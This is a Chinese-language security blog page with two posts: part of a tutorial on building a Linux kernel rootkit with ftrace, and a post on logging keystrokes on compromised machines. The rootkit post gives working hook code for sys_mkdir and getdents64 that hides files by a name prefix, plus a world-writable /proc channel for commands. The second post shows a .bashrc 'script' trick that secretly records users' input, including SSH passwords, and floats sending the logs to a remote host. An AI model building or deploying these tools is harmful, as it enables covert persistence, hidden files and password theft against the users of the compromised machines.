This is the instruction pointer of the function that is being traced. (where the fentry or mcount is within the function)

@parent_ip This is the instruction pointer of the function that called
the the function being traced (where the call of the function
occurred).

@op This is a pointer to ftrace_ops that was used to register the

  1. This can be used to pass data to the callback via the
  2. pointer.

@regs If the FTRACE_OPS_FL_SAVE_REGS or
FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED flags are set in the ftrace_ops
structure, then this will be pointing to the pt_regs structure like it
would be if an breakpoint was placed at the start of the function
where ftrace was tracing. Otherwise it either contains garbage, or
NULL.

我英语贼辣鸡就不乱翻译了,我们看向其中的重点regs,regs是一个pt_regs 结构,研究我们之前LINUX进程注入的时候就应该很熟悉了,这东西会保存函数调用时寄存器中所有的信息,意味着我们如果需要参数,就需要根据linux调用方式从pt_regs的寄存器中分别读出内容。然后进行操作。

重点

同时,因为我们以往都是直接暴力修改函数地址制作HOOK,所以可能会造成思维定势,ftrace的HOOK和这不一样,这个callback并不是执行到HOOK点就替换成我们的callback,而是类似一个filter的存在。具体操作还是要看filter对于寄存器的IP的修改,如果不进行任何修改,那么仅仅在指行这个filter之后原本的函数还是会继续运行。所以我们的代码如下.我们假设HOOK一个mkdir。


static asmlinkage long fake_mkdir(struct pt_regs *regs){
     // do something  我们的HOOK函数
     long ret = ori_sys_mkdir(regs); //保证原函数的运行
     return ret;
}
void my_callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct ftrace_regs *regs){
  struct pt_regs *p_regs;
  p_regs = ftrace_get_regs(regs); //必须要用这个方法把ftrace_regs转成pt_regs
  p_regs->ip = (unsigned long)fake_mkdir;

}


static asmlinkage long (*ori_sys_mkdir)(struct pt_regs *regs); // 用于保存sys_mkdir的原始地址
static void hook(){
 int err = ftrace_set_filter_ip(&ops, sys_mkdir, 0, 0);
       if(err)
        {
            printk(KERN_ALERT "rootkit: ftrace_set_filter_ip() failed: %d\n", err);

        }
      err = register_ftrace_function(&ops);
      if(err)
      {
            printk(KERN_ALERT "rootkit: register_ftrace_function() failed: %d\n", err);
        }

      *((unsigned long*) &ori_sys_mkdir) = sys_mkdir;// 修改ori_sys_mkdir为原本的系统调用以备我们后续调用
}

以上就是一个简单的HOOK过程,可以看到callback其实并不是直接一个传统意义上的HOOK。也就是 修改->指行,而是更类似于一个工厂函数,下一步动作取决于工厂函数对寄存器的操作:我们修改了寄存器的IP让程序跳转到了我们的fake函数,进行了一些处理后,再把数据交给原本函数(当然不交也行)完成一个HOOK。

然而以上代码有一个非常严重的错误,这个错误甚至能导致你的系统奔溃,记住我们的HOOK不是直接替换地址。而是匹配地址就触发callback,也就是说,即使我们在fake函数中,正确调用了原本sys_mkdir后,还是会触发到我们的callback,然后再次被修改IP调转到我们的fake函数,然后fake函数再调用sys_mkdir然后再callback.....

这就造成了一个死循环。第一个想的解决办法,就是在fake函数调用sys_mkdir的时候取消掉filter的注册。。这样也不是不行,但是感觉开销太大了。于是乎我找到了一个好东西within_module

static inline bool within_module_core(unsigned long addr,
                      const struct module *mod)
{
    return (unsigned long)mod->core_layout.base <= addr &&
           addr < (unsigned long)mod->core_layout.base + mod->core_layout.size;
}

因为callback提供了上层调用者的IP,然后我们只需要用within_module和THIS_MODULE宏比对,判断调用sys_mkdir的是否是我们当前的模块就知道是否是fake函数调用来的,如果是那里调用来的则忽略HOOK请求

void my_callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct ftrace_regs *regs){
  struct pt_regs *p_regs;
  p_regs = ftrace_get_regs(regs); 
  if (!within_module(parent_ip, THIS_MODULE)){
    p_regs->ip = (unsigned long)fake_mkdir;
  }
}

重点2

我们把目光转到fake_mkdir,假设我们想HOOK,就必须要对参数进行修改,或者说是读取。

由于给了寄存器我们可以根据Linux系统调用约定来读取相关的内容。比如我们要读取第一个参数可以直接char __user *pathname = (char *)regs->di;

但是我们会发现,如果直接printk出来的内容并不可读,这是因为模块处于内核空间,而我们输出的是用户空间,所以我们得需要copy_to_usercopy_from_user这两个函数把数据读取到用户空间才能输出内容

代码如下

static asmlinkage long fake_mkdir(struct pt_regs *regs){
    
      char __user *pathname = (char *)regs->di;
      char dir_name[NAME_MAX] = {0};
      long error = strncpy_from_user(dir_name, pathname, NAME_MAX);//把数据读取到用户空间
      if (error >0){
        printk(KERN_ALERT "HOOK MKDIR NAME:\t%s\n",dir_name);
      }
     long ret = ori_sys_mkdir(regs);
     return ret;
}

效果如下
屏幕截图 2022-02-12 135613.png
同理,我们如果要修改参数,就得用copy_to_user把我们本地的内容替换过去。

static asmlinkage long fake_mkdir(struct pt_regs *regs){
    
      char __user *pathname = regs->di;
      char dir_name[NAME_MAX] = "a";
      long error = copy_to_user(pathname,dir_name, NAME_MAX);
     long ret = ori_sys_mkdir(regs);
     return ret;
}

效果如下
屏幕截图 2022-02-12 170116.png
到这里,我们的HOOK基本就完成了

交互

这一章节可以省略,但是也不是不能讲讲,毕竟有时候比如我们需要进行一些交互的操作,类似于提权啊,或者一些其他高级操作的时候,我们不可能一直修改内核代码再编译,这样太麻烦了。所以我们得像shell命令一样,找一个地方进行交互。

网络上现有的大部分rootkit方案都是对/proc的proc_fops进行hook,对用户传入的数据进行处理。

关键我们看这个

struct proc_dir_entry {
    unsigned int low_ino;
    unsigned short namelen;
    const char* name;
    mode_t mode;
    nlink_t nlink;
    uid_t uid;
    gid_t gid;
    loff_t size;
    const struct inode_operations* proc_iops;

    const struct file_operations* proc_fops;
    struct proc_dir_entry* next, *parent, *subdir;
    void* data;
    read_proc_t* read_proc;
    write_proc_t* write_proc;
    atomic_t count;        /* use count */
    int pde_users;    /* number of callers into module in progress */
    spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
    struct completion* pde_unload_completion;
    struct list_head pde_openers;    /* who did ->open, but not ->release */
};

使用create_proc_entry()函數創建在/proc文件系統中創建一個虛擬文件
函數返回值的 proc_dir_entry 結構體中包含了/proc
節點的讀函數指針(read_proc_t*read_proc)、寫函數指針(write_proc_t
*write_proc)以及父節點、子節點信息等。讀寫函數的原型為:

typedef    int (read_proc_t)(char* page, char** start, off_t off,
                             int count, int* eof, void* data);
typedef    int (write_proc_t)(struct file* file, const char __user* buffer,
                              unsigned long count, void* data);

這兩個函數指針需要我們在創建完了節點之後再給其賦值,而函數也需要自己來實現。其實這兩個函數也就是當用戶空間讀寫該文件時,內核所做的動作。

资料引用自:proc虛擬文件系統

我们注意proc_dir_entry中的parent成员,这个成员可以指向父目录的成员。我们使用create_proc_entry在/proc下创建了一个虚拟文件后,就可以使用parent找到/proc的proc_dir_entry结构体,然后我们劫持proc的fops,这样我们的程序就能实现往/proc写入数据传递到我们ko模块的效果了。

或者不整那么花里胡哨的,就用普通在proc下专门创建个文件接收也不是不行。

原本我也是打算直接照抄的,然而在高版本linux中,这个地方出现了一点变化。

首先是从5.5开始create_proc_entry()被修改为proc_create()

同时proc_dir_entry 结构体也变成了这样

struct proc_dir_entry *proc_create(const char *name, 
        umode_t mode, 
        struct proc_dir_entry *parent, 
        const struct proc_ops *proc_ops);

我们注意其中的proc_ops,由原先的file_operations类型转变程了proc_ops类型。详情可以查看:proc: convert everything to struct proc_ops
这样用法也转变成了这样

static const struct proc_ops proc_file_fops_output = {
    .proc_read = rootkit_read,
    .proc_write = rootkit_write,
};

其他基本就没啥问题了,

char *cmd_output = NULL;
int cmd_output_len = 0;
ssize_t output_write(struct file *file, const char *buf, size_t len, loff_t *offset)
{
    long error;

    if(cmd_output_len != 0)
        kfree(cmd_output);
    cmd_output = kzalloc(len, GFP_KERNEL);
    error = copy_from_user(cmd_output, buf, len);
    printk(KERN_ALERT "cmd_line: %s\n",cmd_output);
    if(error)
        return -1;
    cmd_output_len = len;
    return len;
}
ssize_t output_read(struct file *file, char *buf, size_t len, loff_t *offset)
{
    int ret;
    char *kbuf = NULL;
    long error;
    static int finished = 0;
    kbuf = kzalloc(cmd_output_len, GFP_KERNEL);
    strncpy(kbuf, cmd_output, cmd_output_len);


    if ( finished )
    {

        finished = 0;
        ret = 0;
        goto out;
    }
    else
    {

        finished = 1;
        error = copy_to_user(buf, kbuf, cmd_output_len);
        if(error)
            return -1;
        ret = cmd_output_len;
        goto out;
    }
out:
    kfree(kbuf);
    return ret;
}

static struct proc_ops proc_file_fops_output = {

    .proc_read = output_read,
    .proc_write = output_write,
};
static int hello_init(void)  
{  
  proc_entry = proc_create("test", 0666, NULL, &proc_file_fops_output);
  if (proc_entry == NULL) {
    printk(KERN_INFO "fortune: Couldn't create proc entry\n");
  }
    printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  

proc_ok.png

这些完成之后,就该进入我们rootkit主要模块的编写了

隐藏文件

能hook sys_call_table后,解决了怎么hook的问题,接下来就是Hook哪里。

我们直接使用strace ls,来查看一个文件的调用栈。

ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, TIOCGWINSZ, {ws_row=48, ws_col=209, ws_xpixel=0, ws_ypixel=0}) = 0
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
newfstatat(3, "", {st_mode=S_IFDIR|0755, st_size=4096, ...}, AT_EMPTY_PATH) = 0
getdents64(3, 0x5597ad35d730 /* 3 entries */, 32768) = 88
getdents64(3, 0x5597ad35d730 /* 0 entries */, 32768) = 0
close(3)                                = 0
newfstatat(1, "", {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0x1), ...}, AT_EMPTY_PATH) = 0
write(1, "5.16.5-arch1-1\n", 155.16.5-arch1-1
)        = 15
close(1)                                = 0
close(2)                                = 0

我就给出个部分,我们看到其中两个最主要的函数。一个是getdents64,一个是write。对于这两个,我们可以从 Linux Syscall Reference 中看出来,主要是sys_write和sys_getdents64这两个,前者是(仅仅针对ls的情况)对处理完的数据输出到控制台时候的操作,后者才是真正的Linux内核对于磁盘中文件处理的函数。

Hook两者各有利弊,Write主要在于系统中使用的地方太多,这种过滤影响性能不说,输出的文字形势千奇百怪,我们不好直接匹配,以及这是属于一种掩耳盗铃的手法,实际上系统任然能够操作文件。

所以我们还是HOOK后面一个函数比较好。直接对这个文件定义就行一个函数的查

int sys_getdents64( unsigned int fd, struct linux_dirent 64 __user * dirent, unsigned int count);

这就是函数的定义,我们其他都不看,就看中间这个linux_dirent64 __user,它的定义如下

struct linux_dirent64 {
    u64         d_ino;
    s64         d_off;
    unsigned short      d_reclen;
    unsigned char       d_type;
    char        d_name[];
};

其中,这个结构体,我们应该非常熟悉,因为我们在R3下使用LD_PRELOAD劫持进行文件隐藏时,也遇到过类似的结构,详情可以查看这里

其中d_relen包含着当前结构体长度,然后d_name写着当前目录的名称,我们要做的就是比对d_name,判断是否是我们需要隐藏的,如果是需要隐藏,则把这部分的结构体给删除掉。

那么如何删除呢。linux_dirent64 在内存种的排列是连续的,而且sys_getdents64的第二个参数dirent正好指向第一个linux_dirent64 结构体,所以根据上面的信息,我们只要知道linux_dirent64链表的大小,就能根据linux_dirent64->d_reclen,就能准确从连续的内存中分割出每一块linux_dirent64。

而sys_getdents64的返回值刚好就是linux_dirent64整片链表的大小,那么要素齐全了,我们就可以开始操作了。

开始摆烂,我直接上别人的源码了。代码引用自:rootkit.c

#define PREFIX "boogaloo"

static asmlinkage int fake_getdents64(const struct pt_regs *regs){
   
/* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
    long error;


    struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
    unsigned long offset = 0;

    /* We first have to actually call the real sys_getdents64 syscall and save it so that we can
     * examine it's contents to remove anything that is prefixed by PREFIX.
     * We also allocate dir_entry with the same amount of memory as  */
    int ret = ori_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);
    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;
    /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 
     * dirent_ker is our copy of the returned dirent struct that we can play with */
    error = copy_from_user(dirent_ker, dirent, ret);
    if (error)
        goto done;
    /* We iterate over offset, incrementing by current_dir->d_reclen each loop */
    while (offset < ret)
    {
        /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
        current_dir = (void *)dirent_ker + offset;
        /* Compare current_dir->d_name to PREFIX */
        if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
        {
            /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
            if ( current_dir == dirent_ker )
            {
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            /* This is the crucial step: we add the length of the current directory to that of the 
             * previous one. This means that when the directory structure is looped over to print/search
             * the contents, the current directory is subsumed into that of whatever preceeds it. */
            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            /* If we end up here, then we didn't find PREFIX in current_dir->d_name 
             * We set previous_dir to the current_dir before moving on and incrementing
             * current_dir at the start of the loop */
            previous_dir = current_dir;
        }

        /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
         * directory listing */
        offset += current_dir->d_reclen;
    }
    /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
     * Note that dirent is already in the right place in memory to be referenced by the integer
     * ret. */
    error = copy_to_user(dirent, dirent_ker, ret);
    if (error)
        goto done;
done:
    /* Clean up and return whatever is left of the directory listing to the user */
    kfree(dirent_ker);
    return ret;
}

效果如下
hidden_file.png

自此,我们一个简易的隐藏文件就整好了

自启动

哪天不想咕咕咕了就来写

结尾

虽说只实现了一个文件隐藏功能,但是基本的rootkit所需具备的框架已经基本都完成了。

要对此进行扩展只需要使用strace找到HOOK点,然后添加HOOK,然后对数据进行处理。无外乎这些。

以前觉得啊rootkit好帅好流弊,这次才知道linux rootkit其实并不怎么轻松。

主要还是在于linux和windows的两种不同策略。linux在于可持续性可靠的文档。而windows讲究向下兼容。

Linux对于安全的态度是交给用户把控,而windows的话则强制要求签名。

所以导致Linux的rootkit对于系统版本的要求很严格,甚至一个更新内核关键数据修改就全部木大。

但是也不是没有办法,就是花时间和精力做出每个版本能勇的,然后遇到什么版本系统上什么版本系统的模块即可。

而windows的话则是直接一个强制驱动签名杀死了绝大部分rootkit。

没了,就这么多了。

Tags: 高版本, 内核, sys_call_table

低权 Linux 键盘记录方案

前言

日了几台机器,虽说部分机器有ROOT,可以直接用之前的 一般路过PAM后门 / SSH密码记录,来替换PAM,用于记录密码。

然而问题是,这货上了LDAP,还自己改了改他们的PAM,所以直接替换PAM的方案行不通了。

而且有一个跳板机,我们没有低权限,但是当前用户却会用这台机器连接其他目标,使用的都是一些我们没找到的凭据。

那么有没有什么办法能搞到他们呢?

最开始预想的是用go,自己写一个,直接起个pty直接io.copy用户输入和bash,然后我们监听目标输入就行。

之后在群里大佬的提拔下。知道了还有script这个好东西。

直接一句

exec script -B /tmp -aqf

没有-B参数把-B参数删了其实也没差

photo_2021-12-14_21-37-37.jpg
经过测试,SSH输入的密码也能记录。简直就是linux自带后门

然后就是用户登录自动记录的问题了。一开始直接把这个放到.bashrc/.zshrc下的最后一行,发现并不能work。
了解了下才发现,这个语句会加载bashrc的脚本造成这行代码的递归调用。
说到底就是加载.bashrc,bashrc运行script,script加载bashrc,bashrc加载script这样循环....

解决方案也很简单。直接在最后一行换成

if [ -f /tmp/script.lock ];then
        rm /tmp/script.lock
else
        echo lock > /tmp/script.lock
        exec script -B /tmp/test -aqf
fi

这样就成啦

进阶

本来想着这个-B参数能不能用类似/dev/tcp这种文件符号直接发送到远端,这样我们只要开着个接收器别人的密码就来了更安全更隐蔽。
或者加一个远端连不上就自动删除.bashrc的这行类似代码。。然而实际上并不行。。。于是乎就靠各位大佬们解决啦。

Tags: linux, 键盘记录, 后门
文章总数:200篇 分类总数:4个